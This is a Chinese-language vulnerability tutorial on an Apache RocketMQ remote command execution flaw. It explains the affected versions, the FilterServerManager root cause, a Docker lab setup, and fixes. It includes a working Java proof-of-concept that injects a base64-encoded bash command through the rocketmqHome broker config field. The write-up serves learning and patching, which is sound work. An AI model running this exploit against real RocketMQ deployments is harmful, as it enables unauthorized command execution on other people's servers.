漏洞描述
Apache RocketMQ 存在一个安全漏洞,允许攻击者远程执行命令。简单来说,如果你的 RocketMQ 的 NameServer、Broker 等组件暴露在公网上,并且没有进行严格的权限验证,黑客就可以利用这个漏洞,通过更新配置的方式,以 RocketMQ 运行的系统用户身份执行恶意命令。
受影响版本
- 5.0.0 <= Apache RocketMQ < 5.1.1
- 4.0.0 <= Apache RocketMQ < 4.9.6
漏洞原理
这个漏洞的根源在于 RocketMQ 的 FilterServerManager 类。这个类负责管理消息过滤服务器,但其中存在可以执行系统命令的风险。
具体来说,FilterServerManager 在启动时会定期执行 createFilterServer 方法,而这个方法会调用 FilterServerUtil.callShell 来启动过滤服务器。callShell 方法允许执行任意的 shell 命令,如果攻击者能够控制传入的参数,就可以执行恶意命令。
实际场景例子
假设你运营一个电商平台,使用 RocketMQ 来处理订单消息。如果你的 RocketMQ 服务器存在这个漏洞,黑客就可以通过发送恶意请求,修改 RocketMQ 的配置,让其执行恶意命令,例如:
- 窃取数据库中的用户信息
- 篡改商品价格
- 在服务器上安装恶意软件
环境搭建
为了重现和学习这个漏洞,可以使用 Docker 搭建一个存在漏洞的 RocketMQ 环境:
docker pull apache/rocketmq:4.9.5
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
docker ps
漏洞利用
- 找到目标 Broker:首先,你需要找到目标 RocketMQ Broker 的地址。
- 构造恶意 Payload:构造包含恶意命令的 Payload。例如,使用
touch /tmp/success在目标服务器上创建一个文件。 - 发送恶意请求:利用
DefaultMQAdminExt类,向目标 Broker 发送包含恶意 Payload 的请求,更新 Broker 的配置。 - 触发漏洞:等待
FilterServerManager定期执行createFilterServer方法,触发命令执行。
演示代码
import org.apache.rocketmq.client.exception.MQBrokerException;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.impl.MQClientAPIImpl;
import org.apache.rocketmq.common.BrokerConfig;
import org.apache.rocketmq.remoting.exception.RemotingConnectException;
import org.apache.rocketmq.remoting.exception.RemotingSendRequestException;
import org.apache.rocketmq.remoting.exception.RemotingTimeoutException;
import java.io.UnsupportedEncodingException;
import java.util.Properties;
public class Exploit {
public static void main(String[] args) throws MQClientException, InterruptedException, RemotingConnectException, RemotingTimeoutException, RemotingSendRequestException, MQBrokerException, UnsupportedEncodingException {
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
org.apache.rocketmq.client.impl.tools.DefaultMQAdminExt defaultMQAdminExt = new org.apache.rocketmq.client.impl.tools.DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("127.0.0.1:10911", properties);
defaultMQAdminExt.shutdown();
}
}
代码解释
- 设置
filterServerNums为 1,确保createFilterServer方法会被执行。 - 设置
rocketmqHome包含恶意命令,这里使用 base64 编码绕过空格限制,创建一个文件/tmp/dddddddaa。 - 使用
DefaultMQAdminExt连接到 RocketMQ,并更新 Broker 的配置。
漏洞修复
- 升级版本:升级到 >= 5.1.1 或 >= 4.9.6 的安全版本。
- 权限验证:对 RocketMQ 的各个组件进行严格的权限验证,避免未经授权的访问。
- 移除 Filter Server:如果不需要消息过滤功能,可以直接移除 Filter Server 模块。
总结
Apache RocketMQ 远程命令执行漏洞是一个严重的安全问题,可能导致数据泄露、服务中断等严重后果。建议大家尽快升级到安全版本,并加强权限验证,避免被黑客利用。